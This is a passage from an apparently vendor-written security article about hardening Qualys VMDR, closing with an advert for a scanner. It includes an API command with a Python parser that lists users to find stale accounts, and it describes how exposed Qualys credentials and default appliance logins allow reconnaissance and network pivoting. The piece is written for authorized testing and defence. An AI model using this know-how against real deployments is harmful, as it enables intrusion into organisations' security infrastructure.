-H "X-Requested-With: curl" \
"https://qualysapi.qualys.com/api/2.0/fo/user/list/?action=list" | \
python3 - <<'EOF'
import xml.etree.ElementTree as ET
import sys
data = sys.stdin.read()
root = ET.fromstring(data)
print(f"{'Username':30} {'Role':20} {'Last Login':25} {'API Access'}")
print("-" * 90)
for user in root.iter('USER'):
username = user.findtext('LOGIN', 'N/A')
role = user.findtext('USER_ROLE', 'N/A')
last_login = user.findtext('LAST_ACCESS', 'Never')
api_access = user.findtext('API_ACCESS', 'N/A')
print(f"{username:30} {role:20} {last_login:25} {api_access}")
EOF
# Identify stale accounts (no login in 90+ days)
# These represent forgotten API credentials that may be exposed in old scripts
Qualys VMDR occupies a privileged position in enterprise security architecture: it knows every vulnerability in every asset, every piece of installed software, and every network-accessible system. That privilege makes securing the Qualys deployment itself as important — arguably more important — than securing the individual assets it scans.
During an authorized penetration test, Qualys represents a high-value lateral movement target. API credentials exposed in source code, CI/CD pipelines, or configuration files provide immediate access to a complete network intelligence picture. Scanner appliances with default credentials offer network pivoting into otherwise-segmented subnets. Integration connectors carry credentials for cloud providers, ITSM platforms, and SIEMs — extending the blast radius far beyond the Qualys platform itself.
For defenders, the hardening checklist is straightforward but requires discipline: rotate credentials on schedule, enforce MFA, isolate scanner appliances, monitor API access logs for bulk export patterns, and scan source code repositories for credential leakage. Qualys is only as secure as its least-protected credential.
Ironimo scans your Qualys deployment for exposed API credentials, scanner appliance default credentials, cloud agent misconfiguration, and integration connector security gaps — automatically, on every scan cycle. Close the loop on your vulnerability management platform's own security.
Start free scan